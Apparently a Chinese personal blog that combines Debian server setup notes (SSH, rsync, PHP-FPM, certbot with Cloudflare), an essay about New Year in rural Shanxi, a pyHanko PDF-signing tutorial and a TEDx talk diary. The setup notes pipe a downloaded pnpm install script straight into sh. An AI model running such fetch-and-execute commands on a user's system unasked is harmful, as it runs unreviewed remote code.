测试免密登录 尝试SSH登录服务器,应无需输入密码: 1 ssh username@server_ip 5. 禁用密码登录(可选) 为增强安全性,可禁用密码登录: 编辑SSH配置文件: 1 sudo nano /etc/ssh/sshd_config 修改以下配置: 1 PasswordAuthentication no 重启SSH服务: 1 sudo systemctl restart sshd 总结 通过以上步骤,你可以在Debian服务器上实现SSH免密登录。确保私钥安全,避免泄露。 rsync快速传输文件 要使用 rsync 将本地文件夹的内容覆盖到服务器上的某个文件夹,同时保留权限属性、压缩传输并支持续传,可以使用以下命令: 命令格式 1 rsync -avz --partial --progress /path/to/local/folder/ username@server_ip:/path/to/remote/folder/ 参数说明 -a:归档模式,保留文件权限、时间戳、符号链接等属性。 -v:详细输出,显示传输的文件信息。 -z:压缩传输,减少网络带宽占用。 --partial:支持断点续传,未完成的文件会保留部分传输的内容。 --progress:显示传输进度。 /path/to/local/folder/:本地文件夹路径,末尾的 / 表示同步文件夹内容,而不是文件夹本身。 username@server_ip:/path/to/remote/folder/:服务器上的目标文件夹路径。 示例 假设: 本地文件夹路径:/home/user/myfiles/ 服务器IP:192.168.1.100 服务器用户名:user 服务器目标文件夹路径:/var/www/html/ 命令如下: 1 rsync -avz --partial --progress /home/user/myfiles/ user@192.168.1.100:/var/www/html/ 注意事项 覆盖目标文件夹内容: 如果目标文件夹中有本地文件夹不存在的文件,这些文件会被保留。如果需要完全同步(删除目标文件夹中多余的文件),可以添加 --delete 参数: 1 rsync -avz --partial --progress --delete /home/user/myfiles/ user@192.168.1.100:/var/www/html/ SSH端口: 如果服务器的SSH端口不是默认的22,可以使用 -e 参数指定端口: 1 rsync -avz --partial --progress -e "ssh -p 2222" /home/user/myfiles/ user@192.168.1.100:/var/www/html/ 排除文件或目录: 如果需要排除某些文件或目录,可以使用 --exclude 参数: 1 rsync -avz --partial --progress --exclude 'temp/' --exclude '*.log' /home/user/myfiles/ user@192.168.1.100:/var/www/html/ 带宽限制: 如果需要限制传输带宽(例如限制为 1000 KB/s),可以使用 --bwlimit 参数: 1 rsync -avz --partial --progress --bwlimit=1000 /home/user/myfiles/ user@192.168.1.100:/var/www/html/ 总结 通过 rsync 的 -avz --partial --progress 参数组合,可以实现本地文件夹内容覆盖服务器文件夹内容,保留权限属性,压缩传输并支持续传。根据需求,可以灵活添加 --delete、--exclude 等参数以满足特定场景。 举例 1 sudo rsync -azrAX -e ssh --partial /mnt/local/2025.1.17_well_pruned/var/www/ root@pengs.top:/var/www/ --progress 配置php 1 apt install php php-fpm 查看/etc/php/8.2/fpm/pool.d/www.conf得 1 listen = /run/php/php8.2-fpm.sock 优化 PHP-FPM 性能和提高最大文件上传限制可以通过以下步骤实现: 1. 优化 PHP-FPM 性能 1.1 调整 PHP-FPM 配置 编辑 php-fpm.conf 或 www.conf 文件(通常位于 /etc/php/7.x/fpm/ 或 /etc/php-fpm.d/),调整以下参数: pm.max_children: 设置最大子进程数,根据服务器内存和负载调整。 pm.start_servers: 启动时的子进程数。 pm.min_spare_servers: 最小空闲子进程数。 pm.max_spare_servers: 最大空闲子进程数。 pm.max_requests: 每个子进程处理的最大请求数,避免内存泄漏。 示例配置: 1 2 3 4 5 6 pm = dynamic pm.max_children = 50 pm.start_servers = 10 pm.min_spare_servers = 5 pm.max_spare_servers = 20 pm.max_requests = 500 1.2 启用 OpCache 启用 OpCache 可以提升 PHP 性能。编辑 php.ini 文件,添加或修改以下配置: 1 2 3 4 5 zend_extension=opcache.so opcache.enable=1 opcache.memory_consumption=128 opcache.max_accelerated_files=4000 opcache.revalidate_freq=60 1.3 调整 PHP 内存限制 根据应用需求调整 memory_limit: 1 memory_limit = 256M 1.4 使用 FastCGI 缓存 启用 FastCGI 缓存(如 Nginx 的 fastcgi_cache)可以减少 PHP-FPM 的负载。 2. 提高最大文件上传限制 2.1 修改 php.ini 编辑 php.ini 文件,调整以下参数: 1 2 upload_max_filesize = 64M post_max_size = 64M 2.2 修改 PHP-FPM 配置 确保 PHP-FPM 配置与 php.ini 一致,通常不需要额外调整。 2.3 修改 Web 服务器配置 如果使用 Nginx,确保 client_max_body_size 足够大: 1 client_max_body_size 64M; 如果使用 Apache,确保 LimitRequestBody 足够大: 1 LimitRequestBody 67108864 2.4 重启服务 修改后重启 PHP-FPM 和 Web 服务器: 1 2 sudo systemctl restart php7.x-fpm sudo systemctl restart nginx # 或 apache2 3. 其他优化建议 数据库优化: 优化查询和索引。 使用缓存: 如 Redis 或 Memcached。 压缩输出: 启用 Gzip 压缩。 减少外部请求: 减少对外部 API 的依赖。 通过这些步骤,可以有效提升 PHP-FPM 性能并提高文件上传限制。 网络优化 在/etc/sysctl.conf: 1 2 3 4 5 6 7 8 9 10 11 net.ipv4.tcp_window_scaling = 1 # 增大 TCP 最大连接队列长度 net.ipv4.tcp_max_syn_backlog = 8192 # 减少 TIME-WAIT 状态连接的等待时间 net.ipv4.tcp_fin_timeout = 15 net.ipv4.tcp_fastopen = 3 net.ipv4.tcp_mtu_probing = 1 net.ipv4.tcp_timestamps = 0 net.core.default_qdisc=fq net.ipv4.tcp_congestion_control=bbr 然后运行 sysctl --system 使修改生效 安装 pm2 在 POSIX 系统上 1 curl -fsSL https://get.pnpm.io/install.sh | sh - 如果你没有安装 curl,也可以使用 wget: 1 wget -qO- https://get.pnpm.io/install.sh | sh - 提示 你可以使用 pnpm env 命令来安装 Node.js。 使用示例: 1 2 3 4 5 6 7 8 # Start the server $ pm2 start app/src/server.js # Takes a snapshot $ pm2 save # Add it on startup $ pm2 startup certbot与cloudflare结合使用 众所周知,想在国内的 VPS 上不备案开 80 端口是几乎不可能的事情。在 Let’s Encrypt 移除基于 TLS-SNI-01 的域名验证 后,想不使用 http-01 challenge 在 Let’s Encrypt 完成域名验证并获得证书只有 dns-01 challenge 一种方法了。 步骤 我使用的是 certbot-dns-cloudflare。该 certbot 插件的文档在 这里 可以阅读。 准备 假设你已经安装了 certbot。 安装插件和依赖 插件 1 sudo apt-get install python3-certbot-dns-cloudflare 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 ➜ ~ sudo apt-get install python3-certbot-dns-cloudflare Reading package lists... Done Building dependency tree Reading state information... Done The following additional packages will be installed: python3-cloudflare python3-yaml The following NEW packages will be installed: python3-certbot-dns-cloudflare python3-cloudflare python3-yaml 0 upgraded, 3 newly installed, 0 to remove and 0 not upgraded. Need to get 157 kB of archives. After this operation, 713 kB of additional disk space will be used. Do you want to continue? [Y/n] Get:1 https://mirrors.tuna.tsinghua.edu.cn/debian buster/main amd64 python3-yaml amd64 3.13-2 [121 kB] Get:2 https://mirrors.tuna.tsinghua.edu.cn/debian buster/main amd64 python3-cloudflare all 2.1.0-1 [27.8 kB] Get:3 https://mirrors.tuna.tsinghua.edu.cn/debian buster/main amd64 python3-certbot-dns-cloudflare all 0.23.0-2 [7,812 B] Fetched 157 kB in 4s (36.7 kB/s) Selecting previously unselected package python3-yaml. (Reading database ... 135351 files and directories currently installed.) Preparing to unpack .../python3-yaml_3.13-2_amd64.deb ... Unpacking python3-yaml (3.13-2) ... Selecting previously unselected package python3-cloudflare. Preparing to unpack .../python3-cloudflare_2.1.0-1_all.deb ... Unpacking python3-cloudflare (2.1.0-1) ... Selecting previously unselected package python3-certbot-dns-cloudflare. Preparing to unpack .../python3-certbot-dns-cloudflare_0.23.0-2_all.deb ... Unpacking python3-certbot-dns-cloudflare (0.23.0-2) ... Setting up python3-yaml (3.13-2) ... Setting up python3-cloudflare (2.1.0-1) ... Setting up python3-certbot-dns-cloudflare (0.23.0-2) ... 依赖 cloudflare >= 2.3.1 1 2 3 Using Cloudflare Tokens also requires at least version 2.3.1 of the cloudflare python module. If the version that automatically installed with this plugin is older than that, and you can’t upgrade it on your system, you’ll have to stick to the Global key. 但是: 1 2 3 4 5 6 7 ➜ ~ sudo apt install python3-cloudflare Reading package lists... Done Building dependency tree Reading state information... Done python3-cloudflare is already the newest version (2.1.0-1). python3-cloudflare set to manually installed. 0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded. 所以我们不得不使用 Global API Key。 获取 Global API Key 使用你的帐号登录 Cloudflare。 点击右上角的头像,在弹出的下拉栏中选择 My Profile。 切换到 API Tokens Tab。 在下方的 API Keys 中,查看你的 Global API Key。 将你的 Cloudflare 登陆邮箱和 Global API Key 按以下格式保存到一个文件中: 1 2 3 # Cloudflare API credentials used by Certbot dns_cloudflare_email = example@example.com dns_cloudflare_api_key = example_i_know_no_one_would_see_this 这里我将其保存到 ~/.secrets/certbot/cloudflare.ini 下。 记得将这个文件 chmod 600: 1 ➜ ~ chmod 600 ~/.secrets/certbot/cloudflare.ini 进行验证 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 ➜ ~ sudo certbot certonly \ > --dns-cloudflare \ > --dns-cloudflare-credentials ~/.secrets/certbot/cloudflare.ini \ > -d <redacted>.anzupop.com Saving debug log to /var/log/letsencrypt/letsencrypt.log Plugins selected: Authenticator dns-cloudflare, Installer None Obtaining a new certificate Performing the following challenges: dns-01 challenge for <redacted>.anzupop.com Waiting 10 seconds for DNS changes to propagate Waiting for verification... Cleaning up challenges IMPORTANT NOTES: - Congratulations! Your certificate and chain have been saved at: /etc/letsencrypt/live/<redacted>.anzupop.com/fullchain.pem Your key file has been saved at: /etc/letsencrypt/live/<redacted>.anzupop.com/privkey.pem Your cert will expire on <redacted>. To obtain a new or tweaked version of this certificate in the future, simply run certbot again. To non-interactively renew *all* of your certificates, run "certbot renew" - If you like Certbot, please consider supporting our work by: Donating to ISRG / Let's Encrypt: https://letsencrypt.org/donate Donating to EFF: https://eff.org/donate-le 注意,该证书一周之内只能申请5次,请确保命令正确 查看各目录大小 1 du -h --max-depth=1 | sort -hr | head -n 5 -h:该参数的作用是以人类可读的格式显示磁盘使用量。在计算机中,磁盘空间通常以字节为单位进行计量,但对于我们人类来说,直接查看字节数并不直观。使用-h参数后,系统会自动将字节转换为 KB、MB、GB 等更易于理解的单位。 --max-depth=1:此参数用于指定递归的最大深度为 1。也就是说,命令只会显示当前目录下一级子文件夹的大小,而不会深入到这些子文件夹的更内层子文件夹中去。 sort -hr:-h选项用于以人类可读的格式进行排序,这与du命令中的-h参数作用相对应,确保在排序时能正确处理以 KB、MB 等单位表示的大小。-r选项则用于反转排序顺序,默认情况下sort是按从小到大排序,加上-r后就变成了从大到小排序。 head -n 5:该命令的作用是只显示输出的前 5 行。通过将du、sort和head命令组合使用,我们可以快速筛选出占用磁盘空间最大的几个文件夹。 清理缓存 pnpm 1 pnpm store prune apt 1 apt clean 监控 为了便于监控服务状态,我设置了uptime robot,取代了之前的netdata,地址依然如下: https://monitor.pengs.top 真觉得uptime robot的样式挺好看的。 结语 目前,网站已经重建完成了。希望高考前不要再出大问题…… 网站重建真是一种神奇的感觉: 最初建立pengs.top时,我像哥伦布刚刚发现美洲,他眼前是一片旷野,他辛勤地开垦 故障发生后,我像地震发生后无家可归的难民,他眼前是一片荒芜,他在砖石瓦砾上叹息 当我下定决心自下而上重建pengs.top而非继续和备份纠缠时,像是开着推土机,将从前的羁绊铲平 在重又空阔无所依的白花花大地上,我持着折皱的高楼大厦的旧照片,感到沉重 然而当我看到一个个Operational的绿灯亮起,我仿佛又回到了刚来到这里的时候 还是一样的新鲜,同时苛求每一份完美,这时候我发现原先的遗憾也能重圆。 走下去,pengs.top还会坚守初心,为改善所有人的数字生活而奋斗,用科技温暖人心,让人文的赤诚在每一次报错的Error中流露!(不是 2025年2月12日,正月十五,服务恢复 元宵节快乐!

2025/2/12
articleCard.readMore

忆故乡山西的春节

今年过年放假短,作业重,回不了老家了。思乡之情涌上心头,难以遏制,在此记录印象中山西老家的春节,以解乡愁。 我老家不是南京的,而是山西的。在我的认知里,过年应该是寒冷的清晨,前一天晚上忙完祭拜祖先和放鞭炮烟花忙得很累,但还是被爷爷奶奶叫醒,炕上暖和不愿意出被窝,好不容易起来了,出了门,一阵冷风袭来,冻得打个喷嚏,穿过院子去看爸爸妈妈,然后去西屋暖壶里倒出白花花的热水拿来洗漱。等我们家、我二叔家、我姑姑家都起床了,又聚到西屋,吃点油炸糕、包了硬币的羊肉饺子一类,而无论吃什么,每顿饭照例是要喝粥的,白的还是红的都无所谓。早饭后,裹得严严实实,踩着冻得嘎嘣脆的路面(有冰)(还会有一颗颗羊屎蛋,被踩扁了粘在路上),到七大姑八大姨家拜年,挨家挨户磕头,上香,每家客厅或者什么房间里一定墙上贴着一块板子,写着“某家多少代世孙”,下面摆着些正襟危坐或者面容和蔼的照片,玻璃相框映出了旁边摆的像金字塔的麻花,炭一样黑的柿饼,以及每家都常备的橘子花生瓜子一类。香炉里面填了黄沙,但不知道烧断过多少柱香,只能看到横竖的一段段香灰了。拜完年我们就能领压岁钱,然后放放炮仗,吃吃喝喝,有的人家里烧火做饭的,空气里就一股燃烧的味道。有时候我们遇到村里有人办喜事,宴席的桌子从家里支到巷子里,后厨的大锅敞开着,雾气腾腾,已经看不清里面是鱼,还是肘子一类的。过了一会儿就能看到敲锣打鼓的民乐队来了,绕着村子巡演一圈,敲的吹的每次都一样,但每次都不愿意错过。回到家里时,一天就到了晚上。院子里我和我的堂弟堂妹又或者表弟表妹玩,玩累了就回到屋里,听大人讲一年里的事,有时候大家都低下头一言不发思考,有时候又一起在笑,笑得爽朗大声。而我们晚辈聊自己的,玩自己的,最后爷爷奶奶和我们又躺到暖和、高大宽敞、硬邦邦的炕上了,但还不想睡,用手指抠着窗玻璃上坚硬的霜花,听爷爷奶奶关切问候我们的话,又到半夜才睡。过年还要在5、6米高的门楼顶上挂红灯笼,在大铁门上踩梯子贴春联。每年都要带着丝绒的大红灯笼到后山的庙上,大红灯笼上写着我的曾用名,那是我出生在老家时大人称呼我的名字,又有些祝福我的话,最后把一大堆纸钱烧成龙卷风一样的灰飞上天,我们又下山忙别的了,大红灯笼还无言凝视着山冈。从南京出发回老家是三四点,天正黑到极点,我兴奋地在车上坐过去一天,晚上到家了,离开的时候也是三四点走,走的时候爷爷奶奶总硬要塞给我们鸡蛋、饼子、暄子等等,车慢慢开下颠簸狭小的乡路,我总是带着眼泪看到爷爷奶奶,还有我们家的灯,那是村口或者可能整个村子唯一亮着的灯,就渐渐和后面高大威严的吕梁山融成一片夜幕了。也许有的时候很巧能碰到从地下上到村子里的车,那肯定是住在村中不知道哪栋屋子里的,但不需要知道是谁了,他们操着我们的方言,是和我们一样性格热烈直爽的可亲的乡亲。看到清早出发的车,他们不会不知道我们此行的目的,都会把本来就已经够亮的车灯闪了又闪,算是致意,然后默默把车往两边一望无际的,现在只长着矮小的冬小麦的黄土田里一开,一直快撞到高高的田垄上,给我们让出一条要非常小心才能不擦到人家的道路。经过的时候,车上的雷达总是滴滴地短促地响着,是像黑锅盖扣在我们头上的星空下唯一的声音了。夜很浓密,它们像水涌入洞里一样,从车窗玻璃涌到我的身边。再往前走,天空有一边显出圆弧状渐变的,看上去很羞涩的白的时候,我们已经快上高速了,我也知道,今年回了一趟老家,又离开了,又是一年开始了。等离开了河南,便再听不到那爽耳的,响亮的,猛烈的土话了,路两边看到的,也是千篇一律的平原地带的树,或有点绿的原野,不太像冬天,我觉得无聊,会在车后面睡上一觉。 我不知道还有多少人,还像我一样珍视这些气味、质感、温度。村中许多空洞坍塌的房屋,它们好像在告示我,会有一天,这里的一切都会被遗忘。但是我希望在我能看见的时候,还能紧紧抱住这个小村子。大山下的小村子,许多人走了出去,走出去了就没有回来。虽然似乎也有一些留在村中的年轻人,但是我担心村医可能都已经忘了怎么接生了。我的父辈早早离开了这里,他们还在向我的祖辈求教如何演习那些传统,希望他们能尽可能多的保留住一些。到了我这里,竟然连最基本的乡音都保持不住了,我还能听得懂土话,但是不会说了,偶尔记得的几个词,连缀起来也生硬得像在说外文。我担心以后可能就听不到那样粗犷的带着黄沙和狂风的方言了。村中的那些年轻人可能是接续这个村子脉搏的主要力量,作为同乡,我一方面希望他们也能像我们一样走出去,过上更舒适的生活,另一方面,又自私地不愿意他们走。也许等我也垂垂暮老时,我还会回来,把老屋子修缮一下,然后住定下来。到那个时候我希望,如果村子还在的话,它不要太繁华,让我认不出来,也不要太死寂,让这片土地心寒。等到我挥手告别人间的时候,我希望能回到北面岿然不动的灰绿色山峦上,那里住着我的祖祖辈辈,他们可能会怜爱地看我走完这曲折的一生,最终又回到了原点。我希望我能面向南面埋葬,这样我就能看见一排排灰色的平房屋顶,也可能是蓝色的铁皮,远处还有一望无际的原野。我希望我能像我的祖祖辈辈一样,守望着这片土地,祝佑从这里走出去的所有人,永远可以回到他们熟悉的地方,回到安宁祥和的村落。我的故事会成为后人称道的历史的厚重感的一部分,而我的名字也应当像吕梁山从不离弃这片土地一样,和故乡紧紧地联系在一起。 玩烟花 院子里的烟花,这张照片当过我的头像 登上山拍的,天气不好 后面的山就是吕梁山,比南京任何一座山都高 亲戚家里,堆满了收获的玉米 夜晚一片漆黑,天边有远处的灯亮 屋檐下的灯笼 木框窗子 家里的灶台 雪覆盖的原野 巷子

2025/1/16
articleCard.readMore

在命令行中使用自签名证书对PDF进行签名

!! 本文代码已上传Github 使用GPL-3.0协议开源 !! 有天我打开网上的PDF文件时,看到这样一行提示: 此文档已经过数字签名 我大惊,我平时会用GPG对文件进行签名,但得到的也只是一个单独的签名文件。难道,GPG创建的签名可以嵌入PDF?我想起以前在Windows上用PDF Reader时见过“签名”菜单,但是那看起来只是手绘了个图形贴上去,看上去好像也不高级,背后好像也没有特别的算法撑腰。这个“数字签名”却有证书,有颁发日期,到期时间,SHA-256指纹,和签名算法,看起来很专业,就像访问HTTPS站点时的SSL证书。 我决定要给自己的PDF也加上这样的数字签名,最好能有个很有信服力的图章,上面写着“signed by Pengbo”。 我在网上展开搜索,却发现linux下,好像少有这样的进行签名的工具,KDE的PDF查看器Okular有这个功能,但它找不到我的证书(恼 那就只能另寻办法啦。 我在网上搜查到的信息告诉我PDF签名需要S/MIME证书,一般由权威CA颁发,价格在…… 等等!我签名自己的文件还要付钱?不可能! CA创建S/MIME证书总要用一些工具吧,我能不能用这样的工具创建自签名证书? 这一工具就是openssl,自己建过网站的人应该对它不陌生,处理HTTPS时多少会碰到。OpenSSL 是一个用于实现安全通信的软件包,它由一组密码学函数库组成。它的主要目标是通过使用公开的密码学算法来保护数据的机密性、完整性和身份验证。它支持对称加密、非对称加密、数字签名、证书管理等功能。 背景知识了解的差不多了,动手吧! 生成 如果你没有openssl这个软件包,请安装它。 首先生成自己的私钥(不知道什么意思的话可以查查非对称加密) 1 openssl genrsa -aes128 -out myself.key 2048 -aes128 表示用AES128算法加密私钥,可选的还有-aes192,-aes256,2048表示私钥长度,越长越安全,但也越慢,我一般用4096位的。 1 openssl req -new -days 365 -key myself.key -out myself.csr 这个命令创建证书请求,正常情况下,你应该把这个证书请求发送给CA的工作人员,但今天我们要自己签发,这个待会儿再说。 -days 表示证书有效期,我太懒了,这辈子都不想换,疯狂加0,现在过期时间在34世纪。(这辈子用不完了 别学我,这样不太“正规”,我给你的示例,有效期是1年。 你可能会问:有效期只有一年,那一年以后数字签名是不是就不能验证了呢?别怕,后面我们利用时间戳解决这个问题。 1 openssl x509 -in myself.csr -out myself.crt -req -signkey myself.key -days 365 这一步本该由CA做的,可是贫穷提高了我们的计算机水平,我们现在要自己签发。signkey后面就是我们自己的私钥,如果你像让证书看起来更逼真,可以先自建CA,再用自建CA的私钥签发自己的私钥创建的证书请求,你可以在网上找到教程。 -days参数依然是有效期。 这一步后,你得到了一个x509证书,你可以用它来加密,签名,但是,我们用于PDF签名的证书需要是 PKCS#12 格式的,所以再转下格式。 1 openssl pkcs12 -export -out myself.pfx -inkey myself.key -in myself.crt 没什么特别的。 至此,myself.pfx已经可以用于PDF签名了,你可以将这一pfx证书导入Kleopatra(需另外安装),然后打开Okular,在设置>配置后端程序>PDF>签名后端程序选中GnuPG,然后就可以用工具>数字签名了。(当然这是我后来才发现的) 签名 经过艰苦的搜查,我尝试了pdftk,pdfsig等工具,都不太行。 最后我找到了pyhanko,一个专门用于签章pdf的python包,先安装它。 可以用pip安装: 1 pip install pyhanko[opentype] [opentype]表示安装opentype可选项,因为我们要生成可见签章,需要处理字体问题。 然后,上大招: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 import os from pyhanko import stamp from pyhanko.pdf_utils import text from pyhanko.pdf_utils.font import opentype from pyhanko.pdf_utils.incremental_writer import IncrementalPdfFileWriter from pyhanko.sign import fields, signers from pyhanko.sign import timestamps from pyhanko.sign.fields import SigSeedSubFilter import uuid pfx = '/home/micraow/sec/cert.pfx' # 证书位置 passwd = b'填到这里' # 密码 output_dir = '/home/micraow/Documents/signed/' # 签名后的存放处,确保存在! signer_name = 'Pengbo' # 签章人姓名 url = 'https://pengs.top' # 主页地址 email = 'peng@pengs.top' # 邮箱地址 extra_info = 'GPG fingerprint: \n6B5314F24B17198DD24B\n5B47062C2BFFBDCBB303\n' # 另外的想打印的信息 signer = signers.SimpleSigner.load_pkcs12( pfx_file=pfx, passphrase=passwd ) timestamper = timestamps.HTTPTimeStamper( url='https://freetsa.org/tsr' ) in_file = input("Location of input pdf: ").strip() target = input('Who is this document given to? (Myself by default) ').strip() if target == '': target = 'Myself' purpose = input( 'The reason why you want to sign the document?(Not Specified by default) ').strip() if purpose == '': purpose = 'Not Specified' desc = input('Any other information you want to give? If not, hit Enter.').strip() filename = os.path.basename(in_file) with open(in_file, 'rb') as inf: w = IncrementalPdfFileWriter(inf, strict=False) fields.append_signature_field( w, sig_field_spec=fields.SigFieldSpec( # x1,y1,x2,y2 left to right, bottom to top 'Signature', box=(395, 750, 580, 830) ) ) meta = signers.PdfSignatureMetadata(field_name='Signature', md_algorithm='sha256', subfilter=SigSeedSubFilter.PADES, embed_validation_info=False, use_pades_lta=True,) pdf_signer = signers.PdfSigner( meta, timestamper=timestamper, signer=signer, stamp_style=stamp.QRStampStyle( # Let's include the URL in the stamp text as well stamp_text='Signed by: %(signer)s\nEmail: %(email)s\nTime: %(ts)s\nURL: '+ url + \ '\nUUID: \n%(uuid)s\n' + extra_info, text_box_style=text.TextBoxStyle( font=opentype.GlyphAccumulatorFactory( '/home/micraow/.local/Rajdhani-Medium.ttf') # 字体位置 ), ), ) id = uuid.uuid1() info = "如果你看到这段文字,它意味着这个文件经过了数字签名。\nIf you see this text, it means the document has been digitally signed.\n" + \ "签名人 The signer: " + signer_name + '\n'+'原始文件名 Original filename: ' + \ filename+'\n'+'文档接收方 Target: ' + target + \ '\n'+'文档签名原因 Reason: ' + purpose + '\n' if desc != '': info = info + '更多信息 More information: ' + desc+'\n' info = info + '这个文档使用了由Pengbo提供的工具进行签名,有关该签名的细节你可以在https://pengs.top/pdf-sign/ 看到。\n This document is signed using the tools provided by Pengbo, details of which can be found at https://pengs.top/pdf-sign/.' with open(output_dir+"signed_"+filename, 'wb') as outf: # with QR stamps, the 'url' text parameter is special-cased and mandatory, even if it # doesn't occur in the stamp text: this is because the value of the 'url' parameter is # also used to render the QR code. pdf_signer.sign_pdf( w, output=outf, appearance_text_params={ 'signer': signer_name, 'email': email, 'url': info, 'uuid': str(id)} ) print("File at: "+output_dir+"signed_"+filename) 有一些需要注意的: import下面一堆信息根据自己实际情况改 如果附加信息太多,二维码可能不好扫。 运行前确保output_dir存在,不存在请新建文件夹, Windows上路径需要转义,你需要在路径中每个反斜杠后再加一个反斜杠。 路径可用相对路径或绝对路径, linux上,可以将文件拖到终端窗口中快捷输入路径。 对了,关于上面提到的的时间戳 时间戳通常包含以下几个关键要素: 具体的时间信息:精确到秒甚至更高精度的时间点,明确标识了签名动作发生的时刻。 例如,时间戳可能记录为“2024 年 7 月 3 日 15 时 30 分 25 秒”。 数字签名:用于证明时间信息的完整性和准确性,防止被篡改。 这确保了记录的时间是真实和可信的。 权威认证:时间戳通常由可信赖的第三方时间戳服务器生成和提供。 这个服务器具有高度准确的时钟和安全机制,以确保其提供的时间信息是准确和不可伪造的。 举例来说,当对一份 PDF 文档进行签名时,时间戳就像一个公证员在旁边记录下您签名的精确时间,并给这个时间记录加上了一个无法篡改的印章,以证明这个时间的真实性和有效性。 在法律和合规性方面,时间戳可以作为重要的证据,证明签名操作在特定时间完成,具有不可否认性和权威性。 以上代码中,使用https://freetsa.org/tsr ,你可以用别的时间戳服务器。 效果 去繁就简,我觉得挺好看的,很有正式文件的感觉。 另外写到这儿我突然想到之前流浪地球里出现的字体,挺酷的,我把链接贴这儿,你可以下下来用,签名效果如下: 比较有科幻感。 Alist链接 扫描后结果: 总结 自己动手,丰衣足食。 另外,这是我第一次尝试将人工智能真正用于问题解决,由于pdf签名这一块,网上的信息很少,很杂,大多数是广告或windows上的软件,因此我使用了豆包这个免费的人工智能模型,速度和逻辑性都不错,可联网搜索,只是有的时候就在编造了。它给我的pdfsig的命令参数都是它自己编的,害我困惑了好久,后来还是我自己找到解决方案的。

2024/7/3
articleCard.readMore

我参加了在学校报告厅举行的TEDxYouth@JLHS 2024活动。

6月21日,我参加了在学校报告厅举行的TEDxYouth@JLHS 2024活动。我演讲的标题是《A Glimpse of Open Source Community》,我自己翻译一下,叫《开源社区初印象》。 演讲的内容,先介绍了什么是开源社区,什么是开源,然后指出开源社区所面对的一系列可持续发展问题(内部矛盾,维护者不足,缺少财政和精神支持),并从开发者,个人,企业和政府的角度给出了我的建议。 TED是什么? TED是一个非营利性组织,旨在传播值得传播的观点,TED是Technology, Entertainment和Design的缩写。我们举办的TED x活动,后有一个x表示独立组织的TED活动,也就是说,由我们的同学来主持。 TEDxYouth@JLHS 2023 TEDx的活动在我们学校不是第一次举行,就我所知,去年也举行过一次,那次我也参加了。活动很长,持续三个小时,但是speaker们演讲的内容都非常丰富,观点鲜明,也很有深度的思考。我看到每一位演讲的同学,无论是国际部的,还是普高的,都认真准备。还有专业的摄影团队在拍摄,后续他们将演讲的视频上传到了哔哩哔哩,还有YouTube平台上。我觉得这是一件很酷的事。另外,组织的同学还准备了精美的门票(门票上写的this event is invite-only,即本次活动是邀请制活动,让我拿到票的时候非常的自豪)和一个宣传小册子,这都让我感受到这是一件非常正式而有意义的活动。我渴望在来年的活动中展现自己的风采。 前期准备 我确实按照我所想的去做了,去年年底的时候,英语老师告诉我们,组委会在寻找有意向参加2024年TED活动的同学。当时临近考试时间比较紧张,但还好我没有错失机会,我报名了。班上包括我在内,有两位同学报名,因此需要先在班上进行投票,很不幸,因为我的口语水平实在太烂,没能抓住这次机会。 我本来以为我与TED无缘了,不曾料想,有一天英语老师summer又来找我,因为我同学退出,所以空出了名额,想让我去尝试。我怀着试一试的心态,便去了。 第一轮选拔,给定了主题进行演讲,第一次来到国际部的教室,又是面对着镜头演讲,其实有点诚惶诚恐,还是挺紧张的,不过竟然通过了。 又过了几个月,进行第二轮选拔,侥幸通过了,也就进入了正式演讲的speaker行列 为了完成好presentation, 国际部的王灵玥同学,coco同学,还有Kaiting老师以及summer都给了我很多修改建议,我最终决定以删为主(手动狗头 尽管这样,因为战线拖得很长,稿子也是反复背反复忘,好在最后一个晚上基本上能做到不用手稿就能讲了。 正式活动 星期五,这样的一个夏日,又下起大雨,地上有积水,空气闷热,尽管这样,还是要穿着不透气的正装,只希望给人的印象好一点。晚上有晚自习,随之而来的是化学考试,为此,特意找Summer帮我们本部的speaker调整了出场顺序。诺大的金中,国际部的同学,对我们的特殊国情没那么了解,也是理所应当的,当然我相信,他们,也有很多我们不了解的地方,这就是交流的意义所在。 所以考完了化学,我才来到会场。一些同学看来很期待这场活动,逃了化学考试来参加活动。我们班也来了不少同学,虽然我没怎么宣传,但他们还是来了。不过总体而言,今年的参加人数比去年少很多。。。也好,我不至于那么紧张。 不紧张个毛线!紧张从一进会场便有Summer叫我去戴话筒就开始了。我独个坐在第二排的座位上。好在我的死党Rb2S来了,还有YL,他们在我旁边,我便能轻松地笑了。 上场 我没听清主持人是怎么串场的,只知道到我了。 说来也怪,我感觉上台之后反而是轻松地,底下不是黑压压一片,而是微笑着的外教和老师,陪伴了我们很久的staff,还有我的好多好同学们。 我想到我所热爱的,参与的开源,能通过我,被更多人了解,便又增添了一份自信。 我讲的内容其实并不是特别的深,面向完全不了解开源的听众讲的。上场还是忘词了,这时候我才意识到,前期准备的那么好的句型,辞藻,不过是形式,真正靠得住的,是对自己要讲的主题的理解。于是我任凭那一个个单词从我的嘴里流出,其实我自己也不能很清楚我说出的是什么,有没有语病,我所想的,仅仅是尽量表达出我想表达的,通过我的言语去传达,通过我的情绪去感染。我很高兴地看到似乎大部分听众还是被我这个比较冷门和小众的主题吸引到了,他们笑着。 中间有个观众互动的环节,我怕没人举手,提前找了Rb2S还有zcc做托,可能太紧张了,我压根没看到外教举手了,要不然我肯定要请他啦。 最终,我顺其自然,顺着大概的思路讲完了,几个月的心血,就化成这十几二十分钟。 我紧张吗?紧张到胳膊上的汗毛都被汗水打湿在皮肤上。我放松吗?我讲的,都是我热爱的,我了解的。 在”Thank you”声中,我满意地下场了,比我预期的要好。我已经尽力让我的口语听起来清楚了,也没有太大的尴尬。 台下有许多摄像机,后续应该可以在bilibili以及youtube上看到我的视频,我其实挺想看看的。 对了,演讲中途,我看见Rb2S从会场一头跑到另一头,举起相机,只为给我拍张照,也蛮有意思。 尾声 下场后,我又听过了接下来几位同学的演讲,都很不错,也很有趣!“只要我不尴尬,尴尬的就是别人”“我还没拿一整罐(儿童病房的棒棒糖)”,台下都爆出爽朗的笑声,如Coco所说 